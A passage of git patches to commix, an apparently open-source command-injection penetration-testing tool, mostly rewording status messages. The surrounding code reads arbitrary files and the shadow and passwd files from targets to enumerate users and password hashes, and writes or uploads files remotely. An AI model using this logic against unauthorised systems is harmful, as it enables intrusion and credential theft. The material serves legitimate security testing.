if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # logs.print_logs_notification(filename, url)
- # raise SystemExit()
- if settings.VERBOSITY_LEVEL != 0 or not new_line:
+ if not new_line :
print(settings.SINGLE_WHITESPACE)
+
try:
# Pseudo-Terminal shell
go_back = False
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 058a575e7e..adbd108bc1 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -399,10 +399,8 @@ def file_access(url, cve, check_header, filename):
# Check if defined cookie injection.
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
- info_msg = "The " + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + " file was created successfully."
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
+ print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '"
warn_msg += dest_to_write + "' file." + "\n"
@@ -448,14 +446,11 @@ def file_access(url, cve, check_header, filename):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
if shell:
- info_msg = "The " + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT
- info_msg += " file was uploaded successfully.\n"
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
+ print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to write the '" + dest_to_upload + "' file.\n"
+ warn_msg += "to upload the '" + dest_to_upload + "' file.\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
@@ -468,15 +463,14 @@ def file_access(url, cve, check_header, filename):
# Execute command
cmd = "cat " + settings.FILE_READ + file_to_read
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if shell:
- info_msg = "The contents of file '"
- info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
- print(shell)
+ if shell:
+ info_msg = "Content of file '"
+ info_msg += file_to_read + "' has been extracted."
+ print(settings.print_bold_info_msg(info_msg))
+ print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The contents of file '"
+ info_msg = "Extracted content of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 156b1792f9..6dde46d08d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "44"
+REVISION = "45"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 2703c3c998ca90fb1b6857a0792d533ac4e18583 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 28 Apr 2022 09:14:13 +0300
Subject: [PATCH 122/560] Updates / minor fixes regarding commit:
https://github.com/commixproject/commix/commit/f9c1567838bcbbaa88733b0d6753b07181e0a8b6
---
.../techniques/time_based/tb_enumeration.py | 20 ++++++++--------
.../techniques/time_based/tb_file_access.py | 12 +++++-----
src/core/injections/controller/checks.py | 3 ++-
.../techniques/classic/cb_enumeration.py | 20 ++++++++--------
.../techniques/classic/cb_file_access.py | 12 +++++-----
.../techniques/eval_based/eb_enumeration.py | 20 ++++++++--------
.../techniques/eval_based/eb_file_access.py | 12 +++++-----
.../techniques/file_based/fb_enumeration.py | 20 ++++++++--------
.../techniques/file_based/fb_file_access.py | 12 +++++-----
.../tempfile_based/tfb_enumeration.py | 20 ++++++++--------
.../tempfile_based/tfb_file_access.py | 12 +++++-----
src/core/modules/shellshock/shellshock.py | 24 +++++++++----------
src/utils/settings.py | 2 +-
13 files changed, 95 insertions(+), 94 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 472bc2550d..5aa19f1969 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -263,7 +263,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Executing the 'net users' command "
- info_msg += "to enumerate users entries. "
+ info_msg += "in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -336,8 +336,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching '" + settings.PASSWD_FILE
- info_msg += "' to enumerate users entries. "
+ info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -430,8 +430,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.PASSWD_FILE + "'."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
except TypeError:
@@ -441,7 +441,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg += settings.PASSWD_FILE + "'."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
@@ -468,7 +468,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
if sys_passes == "":
sys_passes = " "
if sys_passes :
- info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. "
+ info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
@@ -513,8 +513,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
@@ -522,7 +522,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- info_msg = "Executing the '" + cmd + "' command."
+ info_msg = "Executing the user-supplied command '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index e0ee3381ca..2a4844396c 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -35,7 +35,7 @@
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Trying to read the content of file '"
+ info_msg = "Fetching the content of the file '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -59,19 +59,19 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Content of file '"
- info_msg += file_to_read + "' has been extracted."
+ info_msg = "Fetched content of the file '"
+ info_msg += file_to_read + "'."
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "Extracted content of file '"
+ info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of file '" + file_to_read + "'."
+ warn_msg += "to read the content of the file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -101,7 +101,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
else:
dest_to_write = menu.options.file_dest
- info_msg = "Trying to write content of file '"
+ info_msg = "Trying to write the content of the file '"
info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
print(settings.print_info_msg(info_msg))
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 292dc91897..74998f7872 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -468,7 +468,8 @@ def check_os_shell_options(cmd, technique, go_back, no_result):
def procced_with_file_based_technique():
while True:
if not menu.options.batch:
- question_msg = "Do you want to procced with the (semi-blind) "
+ question_msg = "Due to the provided '--web-root' option,"
+ question_msg += " do you want to procced with the (semi-blind) "
question_msg += "file-based injection technique? [Y/n] > "
enable_fb = _input(settings.print_question_msg(question_msg))
else:
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 150f79739d..2eaa747617 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -287,7 +287,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# Windows users enumeration.
if settings.TARGET_OS == "win":
info_msg = "Executing the 'net users' command "
- info_msg += "to enumerate users entries. "
+ info_msg += "in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -357,8 +357,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# Unix-like users enumeration.
else:
- info_msg = "Fetching '" + settings.PASSWD_FILE
- info_msg += "' to enumerate users entries. "
+ info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -451,8 +451,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.PASSWD_FILE + "'."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
@@ -491,8 +491,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if sys_passes == "":
sys_passes = " "
if sys_passes :
- info_msg = "Fetching '" + settings.SHADOW_FILE
- info_msg += "' to enumerate users password hashes. "
+ info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = sys_passes.replace(" ", "\n")
@@ -536,8 +536,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
print("\n" + settings.print_warning_msg(warn_msg))
"""
@@ -547,7 +547,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
cmd = menu.options.os_cmd
# if menu.file_access_options():
# sys.stdout.flush()
- info_msg = "Executing the '" + cmd + "' command."
+ info_msg = "Executing the user-supplied command '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index b467ba67f0..2e9ecaa27c 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -36,7 +36,7 @@
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Trying to read the content of file '"
+ info_msg = "Fetching the content of the file '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -60,19 +60,19 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
# if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
# print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Content of file '"
- info_msg += file_to_read + "' has been extracted."
+ info_msg = "Fetched content of the file '"
+ info_msg += file_to_read + "'."
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "Extracted content of file '"
+ info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of file '" + file_to_read + "'."
+ warn_msg += "to read the content of the file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -105,7 +105,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
else:
dest_to_write = menu.options.file_dest
- info_msg = "Trying to write content of file '"
+ info_msg = "Trying to write the content of the file '"
info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
print(settings.print_info_msg(info_msg))
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index f77cadba06..6155a8537c 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -289,7 +289,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# Windows users enumeration.
if settings.TARGET_OS == "win":
info_msg = "Executing the 'net users' command "
- info_msg += "to enumerate users entries. "
+ info_msg += "in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -358,8 +358,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
pass
else:
- info_msg = "Fetching '" + settings.PASSWD_FILE
- info_msg += "' to enumerate users entries. "
+ info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -452,8 +452,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.PASSWD_FILE + "'."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
@@ -492,8 +492,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if sys_passes == "":
sys_passes = " "
if sys_passes :
- info_msg = "Fetching '" + settings.SHADOW_FILE
- info_msg += "' to enumerate users password hashes. "
+ info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
@@ -538,8 +538,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
print("\n" + settings.print_warning_msg(warn_msg))
"""
@@ -547,7 +547,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
- info_msg = "Executing the '" + cmd + "' command."
+ info_msg = "Executing the user-supplied command '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index 219383511f..e9e92fefc2 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -36,7 +36,7 @@
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Trying to read the content of file '"
+ info_msg = "Fetching the content of the file '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -60,19 +60,19 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
# if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
# print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Content of file '"
- info_msg += file_to_read + "' has been extracted."
+ info_msg = "Fetched content of the file '"
+ info_msg += file_to_read + "'."
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "Extracted content of file '"
+ info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of file '" + file_to_read + "'."
+ warn_msg += "to read the content of the file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -103,7 +103,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
else:
dest_to_write = menu.options.file_dest
- info_msg = "Trying to write content of file '"
+ info_msg = "Trying to write the content of the file '"
info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
print(settings.print_info_msg(info_msg))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 683a785a2b..25175bc380 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -268,7 +268,7 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
info_msg = "Executing the 'net users' command "
- info_msg += "to enumerate users entries. "
+ info_msg += "in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -340,8 +340,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
else:
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching '" + settings.PASSWD_FILE
- info_msg += "' to enumerate users entries. "
+ info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -434,8 +434,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.PASSWD_FILE + "'."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
@@ -472,8 +472,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
sys_passes = " "
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching '" + settings.SHADOW_FILE
- info_msg += "' to enumerate users password hashes. "
+ info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
@@ -518,8 +518,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
print("\n" + settings.print_warning_msg(warn_msg))
"""
@@ -527,7 +527,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
"""
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = menu.options.os_cmd
- info_msg = "Executing the '" + cmd + "' command."
+ info_msg = "Executing the user-supplied command '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index 87fb39797c..a57d588e7e 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -35,7 +35,7 @@
"""
def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Trying to read the content of file '"
+ info_msg = "Fetching the content of the file '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -56,19 +56,19 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http
if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Content of file '"
- info_msg += file_to_read + "' has been extracted."
+ info_msg = "Fetched content of the file '"
+ info_msg += file_to_read + "'."
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "Extracted content of file '"
+ info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of file '" + file_to_read + "'."
+ warn_msg += "to read the content of the file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -99,7 +99,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
else:
dest_to_write = menu.options.file_dest
- info_msg = "Trying to write content of file '"
+ info_msg = "Trying to write the content of the file '"
info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
print(settings.print_info_msg(info_msg))
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 25a7350230..031574444a 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -270,7 +270,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Executing the 'net users' command "
- info_msg += "to enumerate users entries. "
+ info_msg += "in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -339,8 +339,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching '" + settings.PASSWD_FILE
- info_msg += "' to enumerate users entries. "
+ info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -433,8 +433,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.PASSWD_FILE + "'."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
except TypeError:
@@ -444,7 +444,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg += settings.PASSWD_FILE + "'."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
@@ -474,7 +474,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
if sys_passes :
if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. "
+ info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
@@ -518,8 +518,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
@@ -527,7 +527,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- info_msg = "Executing the '" + cmd + "' command."
+ info_msg = "Executing the user-supplied command '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index 999d39283a..c611c9356c 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -37,7 +37,7 @@
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Trying to read the content of file '"
+ info_msg = "Fetching the content of the file '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
